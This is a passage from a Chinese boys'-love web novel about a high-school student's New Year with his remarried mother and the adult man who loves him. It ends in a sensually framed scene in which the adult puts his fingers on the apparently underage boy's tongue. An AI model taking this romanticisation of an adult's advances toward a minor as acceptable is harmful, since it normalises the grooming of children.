裴渐把饭菜放在餐桌上，走到正咬着笔头想题的简渲面前，说道：“吃饭了。”
简渲没抬头，他捏着笔在试卷上写着，听见裴渐的话，简渲说道：“马上，我把这道题写完就来。”
简渲的马上不知道过了多久，裴渐都快吃完了简渲还坐在地毯上想题。
裴渐把手中的筷子放下，走到简渲身边，问道：“还没想出来吗？”
简渲有些迷茫地抬起头，再次低下头看了眼手下的试卷，又看了一眼裴渐，呆呆说道：“我多写了一道。”
裴渐伸出手，把简渲从地毯上拉了递下，蹲下.身子把拖鞋给简渲穿上，然后握着简渲的手腕把简渲拉在餐桌上。
“先吃饭。”裴渐把饭菜推到简渲面前。
简渲往嘴里刨了一口饭，问裴渐：“你不吃了吗？”
裴渐把自己面前的碗推到简渲面前，说道：“我吃完了。”
简渲往裴渐碗里看了一样，这才发现裴渐已经吃完了。
简渲快速把自己碗里的饭吃完，然后把碗放在洗碗机里面，抬着头看着裴渐。
裴渐意会到简渲的意思，轻声说道：“走吧？”
简渲笑了起来，他拉着裴渐的手腕往客厅走，先裴渐一步坐在地毯上，从书包里随手拿了五章试卷出来，放在裴渐面前。
裴渐伸出手。
简渲不知道裴渐的意思，他歪了歪头，把自己的手放在裴渐手上。
裴渐笑出了声，指尖挠了挠简渲的掌心，说道：“我要笔。”
简渲这才知道裴渐的意思，他连忙收回手，从书包里拿出一支笔放在裴渐面前。
裴渐握紧手里的笔，低头看了一眼自己手里的最上面卷子。
是生物。
说还全部记得高中的知识是不可能的，最多还能记得一点。
但这一点也够了。
寒假作业一般老师都不会讲，顶多是对一下答案。
裴渐很快就把手里的生物试卷写完了。
下一张是语文。
裴渐偏着头，看了一眼在写英语试卷的简渲，问道：“作文要写吗？”
简渲摇了摇头，说道：“不写。”
“好。”
等裴渐把五张试卷写完的时候，简渲已经在写竞赛试卷了。
裴渐把自己手里的试卷折好，放到简渲面前，说道：“写完了。”
“好，”简渲停下笔，把手下的卷子往外一推，“这张写完了。”
“你写得比我快。”裴渐笑着说道。
简渲站起身，说道：“你都毕业几年了，能记得就很好了。”
裴渐笑了一下，也站起身，坐在沙发上，看了一眼时间，已经快十二点了，“早点睡。”
简渲拿起自己的手机看了一眼，“那我去睡觉了。”
后面几天裴渐和简渲不是在写卷子就是在写卷子，裴渐工作忙，两人也没有时间出去玩，等到假期过了一半，除夕一到，简渲就要去孟亭家里了。
简渲和孟亭说好了，孟亭在裴渐小区门口接他。
除夕一大早，简渲就收拾好了去孟亭家里穿的衣服，裴渐比简渲起的更早，简渲从卧室出去就看见裴渐已经坐在客厅了。
听见简渲卧室的开门声，裴渐的视线落在简渲的卧室门口，他手里拿着一根玉米，裴渐站起身，把玉米拿到简渲面前，说道：“吃点。”
简渲身上背着书包，手里拿着一个小行李箱，另一只空着的手拿着手机。
简渲把手机放在兜里，接过裴渐递过来的玉米，说道：“好。”
简渲快速把玉米吃完，兜里的手机又开始震动起来。
简渲把手机从羽绒服的兜里拿出来，看了一眼。
是孟亭发来的消息。
“我妈。”简渲对裴渐说道。
裴渐笑了一声，说道：“你回吧。”
简渲把手机解锁，点开微信回复起了孟亭的消息。
【妈妈：我在小区门口等你了，我一个人。】
【妈妈：醒了吗。】
【nsgb：醒了。】
【妈妈：好，要吃早饭吗？我给你买一个面包。】
【nsgb：我刚刚吃完，马上就来。】
【妈妈：好。】
回完消息，简渲抬起头，对裴渐说道：“那我走了？”
裴渐轻轻挨了一下简渲的指尖，轻声开口：“我送你吧？”
“好。”简渲说道。
裴渐拿起简渲手里的行李箱，一只手握着简渲的手腕。
等快到小区门口的时候，裴渐才松开握着简渲手腕的手，把行李箱递到简渲手里。
到了小区门外，简渲一眼就看了孟亭那辆扎眼的车，简渲还没走到车前，孟亭就打开车门走了下来。
孟亭走到简渲面前，看见简渲身边的裴渐，客气说道：“谢谢你照顾小渲了。”
“没事。”裴渐看着简渲说道。
孟亭从简渲手里拿过行李箱，对简渲说道：“那走吧？”
简渲点点头，“好。”
在孟亭去后备箱放行李的时候，简渲抬着头，对裴渐说道：“拜拜。”
裴渐弯着唇，往简渲羽绒服的兜里塞了一个东西。
见简渲抬起头，裴渐小声说道：“回去再看。”
简渲点点头。
孟亭把行李箱放好，对还站在那的简渲说道：“小渲，走啦。”
简渲朝裴渐挥了挥手，“那我走了。”
简渲坐到车上，车子发动以后。
简渲趴在车窗上，透过有些透明的车窗看见了还站在原地不动的裴渐。
他打开车窗，探出一个头，朝裴渐小幅度挥了挥手。
原本打算看着简渲走后的再走的裴渐愣住。
裴渐弯了弯唇，朝简渲挥了挥手。
看不见裴渐的身影以后，简渲才把车窗关上。
简渲的视线重新挪回到前面，就听见孟亭开口了：“你和裴渐关系很好。”
简渲没否认，点点头，说道：“嗯，很好。”
孟亭笑了一声，也没再说些什么。
等车子开到碧落苑，孟亭把车开了进去，在一栋别墅面前停下，然后把车停进了旁边的私人停车场。
孟亭拿出了简渲的行李箱，对简渲说道：“走吧。”
简渲跟在孟亭身后，走到别墅门口，孟亭打开门，简渲也跟着走了进去。
别墅里空荡荡的，孟亭拉住简渲的手。
简渲愣住，一秒后，他也反握住了孟亭的手。
孟亭偏着头，对简渲说道：“去我给你准备的房间看看吗？”
“好。”简渲应道。
孟亭拉着简渲的手走到二楼，打开一个卧室的门。
简渲看了一眼，里面一看就是精心布置了的，里面的颜色比较单一，就是普通的黑白灰色调，孟亭说道：“妈妈不知道你喜欢什么样的，你喜欢吗？”
简渲点点头，说道：“喜欢。”
孟亭笑了起来。
她抱了抱简渲，说道：“妈妈还有点工作没解决，你是想在周围逛逛还是在卧室玩都可以，卧室我给你布置了一个电竞房，那扇门的打开就是。”
孟亭指了指墙角的一个门。
“好。”简渲说道。
等孟亭走后，简渲在床沿坐下，拿出手机给裴渐发消息。
【nsgb：我到了。】
对面回的很快，俨然是在等他的消息。
【哥哥：好。】
简渲举着手机，拍了张卧室的照片给裴渐看。
【nsgb：（图片）】
【哥哥：卧室吗？}
【nsgb：[小猫点头jpg.]】
【哥哥：见到你后爸了吗？】
【nsgb：没有。】
【哥哥：好，如果他不喜欢你和我说。】
【nsbg：我不会受委屈的。】
【哥哥：嗯。】
和裴渐聊了一会天后，简渲就去了孟亭说的那个电竞房。
简渲窝在电脑椅上看了一会电视剧，又写了一张竞赛题，一下午的时间就过去了。
电竞房的门被敲了一下，简渲站起身，去开门。
门口站的是孟亭，她笑了一下，说道：“我敲卧室门没人答应，我就知道你在这里面，在玩游戏吗？”
简渲摸了摸鼻子，说道：“我在看电视剧，然后写了会作业。”
孟亭点点头，开口：“晚上你叔叔就回来了，你要下去去餐厅吃饭吗？”
简渲知道，孟亭是害怕他不愿意看见那个陆姓叔叔。
他摇摇头，对孟亭说道：“没事的，我下去吃。”
“好，”孟亭如释重负地笑了一下，“到时候阿姨做好饭以后我给你发消息。”
简渲上下晃了晃脑袋，“好。”
电竞房的门被孟亭走的时候带上，简渲把还没看完的电视剧看完，才拿出手机给裴渐发消息。
【nsgb：我后爸晚上吃饭的时候回来。】
【nsgb：[小猫发抖jpg。]】
【哥哥：别抖。】
简渲刚想继续回裴渐的消息，孟亭的消息就来了。
【妈妈：吃饭了。】
【nsbg：好。】
简渲站起身，给裴渐发了一条消息。
【nsgb：我要去吃饭了。】
【哥哥：好。】
简渲收起手机，走到楼梯口，悄悄往楼下的大厅瞧了一眼。
一个穿着黑色西装的背影坐在沙发上。
简渲抓紧了栏杆，从楼梯上走了下去。
坐在沙发上的男人大概听到了简渲下楼的动静，他从沙发上站了起来，然后转过身。
突然和男人对视上，简渲的步子顿住。
孟亭也从沙发上起身，对简渲说道：“这是你陆叔叔。”
简渲愣了愣，然后点点头，说道：“陆叔叔好。”
站在简渲面前的男人看上去很年轻，只有脸上的鱼尾纹告诉简渲，这个男人已经步入中年了。
男人听见简渲的话，笑着开口：“我叫陆南疆，你母亲的初恋。”
简渲再次呆住。
他不是傻子，当然知道初恋是什么意思。
孟亭听见陆南疆的话，用手肘怼了一下身边的男人，她走到简渲身边，把简渲搂进怀里，轻声说道：“陆叔叔是妈妈高中的时候的男朋友，后来他出国留学，我赌气就和他分手了，前几年你陆叔叔回国了，我们就在一起了。”
孟亭说的平淡，但简渲知道，分手之后，大概的故事就是孟亭被拐进了他们村，被他爷爷买下。
看陆南疆的样子，应该也知道这件事。
可他没有介意。
简渲拉住了孟亭的手，说道：“我知道了。”
孟亭拉着简渲的手走到餐厅，“吃饭。”
陆南疆就跟在孟亭身后落座。
“衣服够穿吗？”孟亭问道。
简渲轻轻点了一下头，说道：“够穿。”
“我今晚带你出去买几件衣服吧？明天过年，我们家不走亲戚，就是你陆叔叔爸爸妈妈会来。”孟亭说道。
简渲捏着筷子的手顿时收紧，“我要在场吗？”
“我爸妈说想看看你。”陆南疆开口。
简渲抿着唇，没说话。
孟亭看了一眼陆南疆，说道：“你陆叔叔不会说话，别理他，不想见就别见，他爸妈很古板。”
陆南疆皱了皱眉，也没反驳。
简渲依旧没说话，只是夹着菜慢慢吃。
孟亭看着简渲，端着碗坐到简渲身边，说道：“他爸妈很古板的，他当时要和我结婚，他爸罚他跪了三天，他就是不会说话，不想见就告诉妈妈，明天我就说你出去玩了。”
陆南疆往孟亭碗里夹了一块肉，轻轻嗯了一声，算是和孟亭在同一战线的意思。
简渲点了点头，“好。”
简渲吃完饭，孟亭就带着简渲出去买衣服了。
陆南疆以给孟亭拎包的理由跟着一起去了。
孟亭一口气给简渲搭了十几套衣服，简渲觉得自己依旧变成了服装模特。
陆南疆一路都没说话，孟亭只给陆南疆买了一套粉色的羽绒服。
买完衣服以后就回了家。
孟亭说要看春晚，于是简渲就坐在沙发上陪着孟亭。
春晚还没开始，简渲拿出手机，给裴渐发消息。
【nsgb：我那个后爸，是我妈妈初恋。】
【哥哥：他对你不好吗？】
【nsgb：没有，他对我妈妈很好。】
【哥哥：好。】
简渲想着明天可能要发生的事情，还是给裴渐发了个表情包过去。
【nsgb：[小猫哭泣jpg.]】
【哥哥：怎么了？】
【nsgb：他爸妈要来看我。】
【nsgb：我妈妈说我后爸的爸妈很古板的。】
【哥哥：你在哪？】
【nsgb：不知道。】
【哥哥：我问门牌号。】
简渲刚好看了一眼，由于数字特殊，简渲现在还记得。
【nsgb：99号。】
【哥哥：好。】
“小渲，春晚要开始了。”孟亭说道。
简渲从手机上抬头，快速说道：“好。”
然后就低着头在手机上打了几个字。
【nsgb：我要看春晚了。】
简渲给裴渐发完消息以后就把手机收了起来。
现在的春晚笑点都很奇怪，简渲确实笑不起来，但身边的孟亭一直在笑，还拍着陆南疆和简渲的腿，简渲也被孟亭逗得笑了起来。
等到春晚倒计时开始，电视里主持人的声音落到零的那一秒。
“新年快乐！”孟亭的声音混杂着烟花的声音想起。
孟亭有些新奇，她仔细听了一下，不是电视里的。
“哪来的烟花，这里不是禁放吗？”孟亭说道。
同时，简渲的手机震了几下。
简渲低着头，把手机从兜里拿了出来。
【哥哥：新年快乐。】
【哥哥：（照片）】
照片上是一盒烟花，看地方看不出来是在哪。
【哥哥：好不容易在这附近找到一个小山，我放完就跑了。】
【哥哥：这里信号不好，等我回车上。】
【哥哥：听到了吗？】
简渲的心跳了几下。
他觉得自己耳朵有些烫。
虽然不知道是为什么，简渲还是揉着耳朵回了裴渐的消息。
【nsgb：哥哥，新年快乐。】
【nsgb：我听到了，就是不能看见，好可惜。】
【nsgb：你早点休息，回去的路上小心。】
手机另一头，裴渐站在别墅门口，看见简渲的消息，眉头挑了挑。
【哥哥：好。】
回完消息以后，裴渐打开了别墅的门，走到门口，敲了敲门。
站了差不多几秒，门被打开了。
是裴知书。
看见是裴渐，裴知书轻哼了一声：“我还以为你不回来了。”
裴渐带着一身冷气走到屋内，从裴知书身边掠过，淡淡说道：“本来不想回来的。”
屋内，原本趴在沙发上看春晚的裴呈从沙发上跳了下来，瞪着小腿跑到裴渐身边，然后皱起了鼻子。
于婉婷也走到裴渐身边，闻到裴渐身上的烟火味，问道：“你身上怎么有股烟花味。”
裴渐举着小臂闻了闻，“是有。”
裴知书倒是想起了刚才的烟花，他快步走到裴渐身边，问道：“刚刚那烟花是你放的？”
“嗯。”裴渐语气轻飘飘的。
“你放烟花干什么？”于婉婷没让裴知书继续说话。
裴渐把裴呈抱在了怀里，笑了一声，说道：“给喜欢的人放的。”
站在裴渐身边的裴知书捏紧了拳头。
“我先去睡觉了，困了。”裴渐把裴呈塞进裴知书怀里，大步走上了楼。
昨晚看春晚看到十二点半，于婉婷又建了个三人群，在群里面发红包。
简渲一个人就抢了一千多。
直到一点才睡，导致简渲第二天很晚才起来。
简渲醒来的时候已经有点太阳了，简渲拿起手机看了一眼时间。
已经十一点多了。
简渲从穿上起来，穿上昨天买衣服的时候孟亭强烈要他穿的小黄鸭羽绒服。
换上衣服以后，简渲踏上拖鞋就往楼下走。
还没下楼，简渲就在楼梯口看见了一个穿着粉色羽绒服的背影和蓝色羽绒服的背影。
大概就是陆南疆和孟亭。
还有两个穿着唐装花白着头发的背影。
简渲低着头，拿出手机，给裴渐发了条消息。
【nsgb：我完了。】
【nsgb：我才睡醒。】
【nsgb：我后爷爷后奶奶已经来了。】
对面没回，简渲能猜到是裴渐还没睡醒。
简渲只好走了下去。
听到楼梯口的声音，孟亭率先起身，把简渲搂着走到两个老人面前。
“阿姨，这就是我的孩子。”孟亭说道。
语气很平静。
陆爷爷抬起头，上下扫视了一下简渲，然后偏着头，对陆南疆说道：“南疆，我说了，还是要生一个自己的孩子，我已经允许你和孟亭结婚了，你们是不是该生个孩子？”
简渲听到搂着自己的孟亭呼出一口气。
没等孟亭开口，陆南疆就开口了：“阿亭身体不好，我不会让她生孩子的，有一个孩子就够了。”
简渲垂着头，没说话。
“这是你儿子吗就说有一个孩子就够了！”陆爷爷怒着嗓子说道。
陆南疆神色平静，说道：“他父亲不会有机会看见他的，以后我就是他的父亲，没有任何问题。”
陆爷爷被陆南疆的话呛住，一时间喘不上气。
陆爷爷身边的人终于开口了，她看向简渲，说道：“我叫明岚，这是陆南疆的爸爸，陆稳瑾。”
和简渲自我介绍完，明岚才把视线转到陆南疆身上：“你要理解你爸，他只是想让你有一个自己的血脉。”
“如果你们今天来这里是想让我生孩子，我觉得二老可能失望了，陆南疆已经结扎了。”孟亭冷着脸说道。
简渲的视线落在陆南疆的身上，指尖动了动。
见陆南疆没有否认，陆稳瑾猛地拍了一下桌子。
突然，一阵微信铃声响起。
简渲愣住。
是他的手机。
简渲看了一眼孟亭，得到对方允许的神色后才把手机拿了出来。
简渲低着头，看了一眼备注。
是裴渐打来的语音电话。
孟亭的视线落在简渲给裴渐的备注上。
她呆了一瞬，也没说什么。
简渲按下了接通。
“阿姨新年快乐。”裴渐率先开口了。
孟亭呆愣的神色瞬间变成了笑颜，“你怎么知道我在小渲身边？”
“可能是我在你们家对门。”裴渐说道。
简渲转头，往大厅唯一的落地窗上看去。
裴渐穿着白色羽绒服，脖颈上带着黑白格的围巾，一只手拿着手机，另一只手插在兜里。
看见简渲看见他，裴渐舞了舞自己的手机。
下一秒，裴渐带着笑意的声音通过扬声器传到了所有人耳中。
“出来玩。”
第53章 第 53 章 湿的热的
简渲愣住。
坐在沙发上的明岚和陆稳瑾神色也彻底僵住。
偏偏站在外面的裴渐没有察觉, 笑着继续说道：“挺巧的，我爸妈住这。”
简渲抿了抿唇，刚想说话, 孟亭就推了简渲一把，轻声说道：“出去吧。”
简渲回过头，看了裴渐一眼，又看了看坐在沙发上面色阴沉的陆稳瑾，他点了点头, 就打开门走了出去。
外面有些冷，简渲一出去就缩了缩脖子，恨不得把整张脸埋进羽绒服里。
简渲拿着手机，哈了口气，小声对着手机说道：“我出来了。”
裴渐把手机上的语音通话挂掉，走到简渲身边。
简渲抬着头看着裴渐，指了指对面的98号, 问道：“这是你爸妈家吗？”
裴渐笑了一声, 抱住了简渲，脑袋在简渲的小黄鸭羽绒服上蹭了蹭，“不是, 我爸妈在另一边住, 我睡醒就看见你的消息了，发微信没回, 我就来找你了。”
简渲举着手机，手肘靠在裴渐的背上，这才发现裴渐给他发了好几条消息，简渲没有看见。
简渲伸着有些臃肿的手，拍了拍裴渐的背, 小声说道：“你压着我了，好累。”
裴渐这才松开抱着简渲的手。
裴渐拉着简渲在路边的长椅上坐下，问道：“那两个人就是你后爸的父母？”
简渲点了点头，应道：“对。”
“看着很凶。”裴渐说道。
简渲瘪了瘪嘴，忍不住和裴渐吐槽道：“他们特别凶，我妈说他们特别古板，今天一看真的很古板，让我妈生个新孩子。”
“你妈妈同意了吗？”裴渐看着简渲问道。
简渲偏着头，借着视线死角从落地窗上看了一眼里面的情形。
孟亭正在说话，陆南疆就站在他身边。
看样子是在吵架。
“没有同意。”简渲说道。
裴渐揉了揉简渲的头，说道：“不开心吗？”
简渲偏着头看了眼裴渐，似乎没想到裴渐看出来了，“你怎么看出来的？”
“你心情不好的时候说话很简洁。”裴渐解释道。
简渲自己都没有发现他有这个习惯，他看向裴渐，弯着唇笑了一下，说道：“就是觉得没被接受，但是也还好。”
裴渐抬起手，挨上简渲的脸颊，刚想捏一下，简渲就把裴渐的手拍开了。
“你手是凉的。”简渲小声嘟囔道。
裴渐收回手，笑了一声，说道：“行。”
“别太在意他们了。”裴渐说道。
简渲点点头，说道：“我知道，反正我也见不到他们几次。”
裴渐的手放在兜里，摸着兜里有些硬的东西，他伸出没放在兜里的那只手，蒙住简渲的眼睛。
简渲突然被捂住了眼睛，有些懵，他想拉下裴渐的手，下一秒，手里就被塞进了一个冰凉僵硬的东西。
简渲下意识捏了捏，很厚。
裴渐的手从简渲的眼睛上挪开。
简渲睁开眼，低着头，看着自己手里通红的红包。
简渲抬起头，看着裴渐，还没等他开口，裴渐就说话了。
“压岁钱。”裴渐笑着说道。
简渲指尖捏紧了红包，打开看了一眼。
里面厚厚一沓钱，至少有一万。
简渲张大了唇，愣了几秒才开口：“怎么这么多？”
裴渐揉了揉简渲的头，说道：“让年兽别欺负你。”
简渲知道裴渐是在开玩笑，他捏着红包的口，抽出几张一百块，塞进裴渐手里。
裴渐看着手里多出的几百块大钞有点不理解。
“怎么给我？”裴渐轻声说道。
简渲抿着唇，小声说道：“我没现金，分你点，让年兽也别欺负你。”
话音刚落，裴渐就笑了起来。
简渲也笑了起来。
突然，一片冰凉的东西掉落在简渲唇上。
简渲抬起头，伸出手，一片雪白的雪花落在裴渐掌心。
简渲偏过头，亮着眼睛对裴渐说道：“下雪了！”
裴渐声音含着笑意，附和着简渲的话：“下雪了。”
原本只是几片雪从空中掉落，慢慢地，大堆大堆的雪掉了下来。
几乎半个小时，雪就厚厚地堆满了地面。
简渲拿着手机，对着厚雪拍了张照片，然后从羽绒服的袖口里伸出手，捏了一个小雪球，举着手拿到裴渐面前给裴渐看。
裴渐垂眼，看着简渲被雪冻得通红的指尖，伸出手挨了挨简渲的手，说道：“不冷吗？”
简渲趁势把雪球塞进裴渐手里，对着自己的掌心哈了口热气。
“不冷。”简渲笑着说道。
裴渐笑了一下，弯下腰把手里的雪球捏的更大，然后递到简渲面前，说道：“promax版本的。”
简渲接过裴渐手里的雪球，举着雪球往裴渐脸颊上贴了一下。
简渲抬起头，开始观察起裴渐的神色。
见裴渐没有反应，简渲有些丧气，他甚至开始怀疑是雪球不冷，举着手想把雪球往自己脸颊上贴。
下一秒，裴渐就握住了简渲的手腕，用有些无奈的声音对简渲说道：“会感冒的。”
“我就是想看看这个雪球凉不凉。”简渲的辩驳有些僵硬。
“凉的。”裴渐说道。
简渲看了眼裴渐，说道：“那刚刚你怎么没反应？”
裴渐拿着简渲的手，挨上自己发热的脸，解释道：“我不是说了吗，我不怕冷。”
裴渐的脸很烫，简渲忍不住把手往裴渐脸上摸了好几次，他有些羡慕地说道：“你就是行走的暖宝宝。”
裴渐笑了一下，“嗯。”
简渲还想说些什么，别墅的门就被打开了，孟亭站在门口，朝简渲挥了挥手，说道：“吃饭了。”
简渲站起身，低着头看着裴渐，小幅度摆了摆手，对裴渐说道：“那我回去了？”
裴渐弯着唇，点了点头，应道：“拜拜。”
简渲走后，裴渐才站起身，拿出在兜里震动了很久的手机。
是裴知书打来的电话。
裴渐垂着眸，没有打回去，修长的指尖在手机屏幕上滑着，点开微信，给简渲发了条微信才把手机收进兜里。
裴渐抬起头，把放在长椅上的雪球拿在手里，也不管被冻得通红的掌心，往来的时候走的那条路走。
走了约莫十分钟，裴渐才回到别墅门口，他推开门走了进去。
刚走进去，一群亲戚的视线就落在裴渐身上。
尤其是裴知书。
他的视线落在裴渐手心的雪球上。
裴知书快步走到裴渐身边，指着裴渐手里的雪球说道：“你有没有规矩？”
裴渐拿着雪球颠了颠，说道：“我又没做什么丢你脸面的事。”
裴知书深吸一口气。
裴渐似乎存心想气一下裴知书，继续说道：“爸，不是我说你，你都开游戏公司了，思想得开放点吧，我喜欢一个男生又不是让你没后了？不是还有裴呈吗？”
裴知书再次深吸一口气。
看在这么多亲戚的面上，裴知书没有骂裴渐。
一个男人看见裴知书和裴渐，连忙走到裴渐面前，笑着说道：“小裴啊，谈恋爱没有？”
感情大事，每年过年都逃避不了的话题。
尤其是裴渐这种长得帅的男性。
裴渐把手里的雪球举在那个男人面前，弯着唇说道：“表舅，我喜欢的人给我的。”
被裴渐称为表舅的男人愣住，他僵硬地笑了笑，继续说道：“在一起了吗？表舅妹妹的女儿和你差不多大，我觉得你们挺有话题的，要不要加个联系方式聊聊？”
裴渐很有礼貌地笑着，继续回复道：“表舅，我喜欢的是”
“行了，宁老大，你别和裴渐多说了，他不会这样的。”裴知书捏了捏山根，打断了裴渐想说的话。
裴知书又不是傻子，自然知道裴渐后面要说的话的什么。
听见裴知书的话，裴渐也没再说什么，朝着两人扬了扬下巴，说道：“那我先走了。”
另一边，简渲跟着孟亭的步子走进别墅内，明岚和陆稳瑾已经坐在餐桌上了。
见简渲进来，两老的神色都很阴沉。
简渲落座后，原本没有说话的陆稳瑾突然开口：“让这孩子和我回老宅。”
陆南疆皱了皱眉，“不用。”
孟亭更是哼笑了一声。
“既然你们不想再生孩子，就让这个孩子挑一个老宅的女孩订婚，行了吧？”陆稳瑾皱着眉说道，在他眼里，自己已经退步了很多。
简渲愣住，他突然觉得喉咙有些梗塞，“我”
还没等简渲拒绝，孟亭就开口：“我儿子不是给你们传宗接代的工具，他要和谁在一起是他的事情，二老就不用操心了。”
“嗯。”陆南疆附和道。
简渲垂着眸，指尖捏着筷子，戳着碗里的饭，突然有些不知道该怎么动作。
“你真想没后吗！”陆稳瑾狠狠拍了一下桌子。
明岚拉住陆稳瑾，看向简渲，说道：“你母亲嫁到我们家的时候我们都知道那件事，我们也已经同意了，但是我们也想让南疆有自己的后代，你能理解吧？”
简渲捏着筷子的指尖紧了紧，他死死抿着唇，一句话也没说。
舌尖忽然有些疼，一股铁锈的味道滑倒他的喉管。
“是孟亭嫁给我，不是嫁给你们家。”陆南疆蹙着眉，沉声说道。
“如果你们今天来就是为了这些事，我觉得你们还是回老宅和那些小辈说吧，我们这一家子你都管不到的。”孟亭说道，她伸出手，掰开简渲紧紧握着筷子的手，握着简渲的手。
“简渲是我亲生的，不管他是因为什么来的，我很清楚，我爱我的孩子，他很乖巧，小时候很乖巧，现在也很乖巧，小时候他想好好学习，大半夜爬到床边喊我妈妈，让我教他数学，我冬天冷得没有棉袄穿的时候他把自己的衣服给我穿，那是那个男人给他爹买的，买了两件，两件都被简渲偷来穿在我身上，我只是和我的孩子八年不见了，不代表我不爱我的孩子。”孟亭说道最后，声音已经有些哽咽了。
简渲垂着眸，睫毛有些黏糊。
他伸出手，揉了揉自己的睫毛。
孟亭随手糊了一把自己的脸，“抱歉，你们的一句话我都不难认可。”
陆南疆把餐桌上的纸巾推到孟亭面前，皱着眉对着二老说道：“爸、妈，请你尊重我们的选择，如果你们实在想要孩子，可以让陆承闻生。”
陆稳瑾的神色瞬间僵住。
陆承闻，是陆稳瑾的私生子。
明岚也知道，只不过陆承闻从来没有回过老宅。
两人都不知道陆南疆是怎么知道的。
陆稳瑾猛地站起身，指尖颤抖着指着陆南疆，说道：“我们就不留下来吃饭了。”
等陆稳瑾和明岚走后，孟亭才偏着头，拿着纸巾擦了擦眼睛，随后神情恢复自然，对简渲说道：“吃饭。”
简渲轻轻点了点头，握住了孟亭那只空闲的手。
其实孟亭刚刚说的简渲已经记不得了。
但孟亭说的时候，那些记忆像是录像带一样自动在简渲的脑海里浮现出来。
孟亭感觉到简渲的动作，回握了一下，然后松开，用筷子往简渲碗里夹了几块肉，轻声说道：“吃饭，我说了，他爸妈很古板的。”
其实说古板也不恰当，如果要选择个更准确的词，应该是封建。
吃饭的时候，孟亭的情绪终于慢慢恢复过来，她想起陆南疆说的话，“陆承闻是谁？”
陆南疆神色平静，不停往孟亭碗里夹菜，闻言回答道：“我爸的私生子。”
后面孟亭说了很多，简渲有些记不清了，等到吃完饭，简渲回到卧室以后，孟亭主动敲开了卧室的门。
简渲把卧室门打开，孟亭走了进来。
“刚刚他爸妈说的话，你别往心里去。”孟亭说道。
简渲舌尖有些疼，他顶了顶上颚，说道：“没事。”
“我不会让你和老宅的人接触的。”孟亭摸了摸简渲头。
简渲轻轻点了一下头。
“妈妈能问你一个问题吗？”孟亭小心翼翼问道。
简渲应了声好。
“你和裴渐，是什么关系？”孟亭把心底的疑问说了出来。
简渲没想到孟亭问的是这个问题，他愣住。
他和裴渐是什么关系？
简渲没怎么犹豫，回答了孟亭的问题：“朋友。”
孟亭想到今天看见简渲给裴渐的备注，“妈妈可以知道那个备注是什么意思吗？”
简渲这才反应过来，孟亭是看见他给裴渐的备注了。
“不是那个亲哥哥那个意思，因为裴渐以前帮过我，我初中的时候，我就给他备注哥哥了。”简渲快速解释道。
见简渲还是没有理解到自己的意思，孟亭终于明白了，简渲压根就没那根筋。
但裴渐是成年人了。
孟亭想到裴渐今天的举动，抿着唇对简渲说道：“能把裴渐的微信给妈妈吗？妈妈问他点事。”
简渲点点头，说道：“那我问问他。”
说完后，简渲就拿出手机，给裴渐发了条消息。
【nsgb：我妈妈想要你微信。】
对面回的很快。
【哥哥：可以。】
得到裴渐的允许后，简渲才把裴渐的微信推给了孟亭。
手机另一头，裴渐看见简渲的消息，似乎察觉到了什么，但也没拒绝。
等到手机里多出了一条【我是简渲的妈妈】的好友申请，裴渐指尖动了一下，同意了孟亭的好友申请。
【孟亭：你和小渲是什么关系？】
裴渐挑了挑眉，指尖快速在键盘上点着。
【PJ：朋友。】
【孟亭：和我说实话。】
裴渐叹了口气。
【PJ：您去问简渲了吧？】
【孟亭：嗯。】
【PJ：他怎么说的？】
【孟亭：朋友。】
裴渐笑了一下。
他就知道。
【PJ：那就是。】
【孟亭：你呢？】
似乎是害怕裴渐揣着明白装糊涂，孟亭很快补了一句：【你对简渲是什么心思？】
裴渐原本躺在沙发上的姿势瞬间坐直。
他垂着眸，打了几个字下去。
【PJ：阿姨，我喜欢您儿子。】
对面很久没有回，过了很久，孟亭的消息才慢吞吞地发了过来。
【孟亭：然后呢？】
【PJ：我喜欢他。】
【孟亭：如果他不喜欢你呢？】
【PJ：那我永远都不会对他说。】
【孟亭：你说的。】
回复完孟亭的消息，裴渐掌心握着手机，呼出一口气，闭上眼睛。
过了几分钟，手里的手机震了震。
裴渐睁开眼，看了眼消息。
是简渲发来的。
【乖崽：（照片）】
【乖崽：出来堆雪人吗？现在雪很厚。】
【PJ：好。】
【乖崽：有没有大一点的地方？】
【PJ：乐湖，你往145号别墅走，前面就是。】
【PJ：我在那里等你。】
【乖崽：好。】
裴渐给简渲发完消息以后，忽视掉家里的亲戚，拿着手机走了出去。
等简渲到乐湖的时候，裴渐已经站在那了。
简渲双手插着兜，连忙跑了过去，走到裴渐身边，仰着脑袋问道：“堆吗？’
裴渐皱着眉，听着简渲有些大舌头的声音，问道：“舌头怎么了？”
简渲把舌尖伸了出来，指了指舌尖上的一个小泡，对裴渐说道：“咬到舌头了。”
简渲没说刚刚在餐桌上发生的事情。
裴渐低着头，看着简渲的舌尖，说道：“疼吗？”
简渲把舌尖收了回去，对裴渐说道：“不疼。”
裴渐也没再说什么，低着头摆弄了一会手机，然后抬起头对简渲说道：“不是要堆雪人吗？”
简渲点点头，蹲下了身子，开始堆地上的雪。
几分钟后，一个雪人的雏形出现了。
简渲看着没有眼睛和鼻子的雪人，眨了眨眼睛，跑到远处的树下捡起一根树枝，叉在雪人的头上。
然后用手挖了两个眼睛出来。
简渲蹲在地上，仰着头看着裴渐，“好看吗？”
裴渐点了点头。
裴渐拿出手机，看了一眼时间，对简渲说道：“我出去一下。”
“好。”简渲应道。
裴渐没走多久，很快就回来了，简渲看见裴渐手里拿着什么东西走了过来。
等裴渐走到自己面前，简渲戳了戳裴渐手里的东西，问道：“这是什么？”
裴渐把袋子里的东西拿了出来，把药管拿了出来，对简渲说道：“张嘴。”
简渲愣住，“这是什么？”
“舌头不是被咬了吗，擦点药。”裴渐说道。
简渲也没拒绝裴渐的要求，把舌头伸了出来。
裴渐低着头，指尖捏着简渲的下巴，把药管里的药往简渲舌尖上挤。
药很凉，简渲下意识想把舌尖缩回去。
裴渐捏紧了简渲的下巴，说道：“别动。”
简渲的睫毛轻轻颤着，他垂着眸，看着裴渐的脸。
给简渲挤上药，裴渐把药塞进兜里，用空着的那只手挨上简渲的舌尖。
这次简渲的舌尖彻底缩了回去，睫毛颤抖得更加明显。
裴渐抬起简渲的头，轻声说道：“伸出来。”
简渲觉得自己总是拒绝不了裴渐的要求。
嫩红色的舌尖乖乖伸了出来。
裴渐的指尖挨上简渲的舌尖，把堆在一起的药揉了起来。
简渲的舌尖抖得很厉害，裴渐伸出食指和中指，夹住简渲的舌尖，拇指按着简渲舌尖上的伤口，哑着嗓子说道：“别动。”
简渲的舌尖很湿很热。
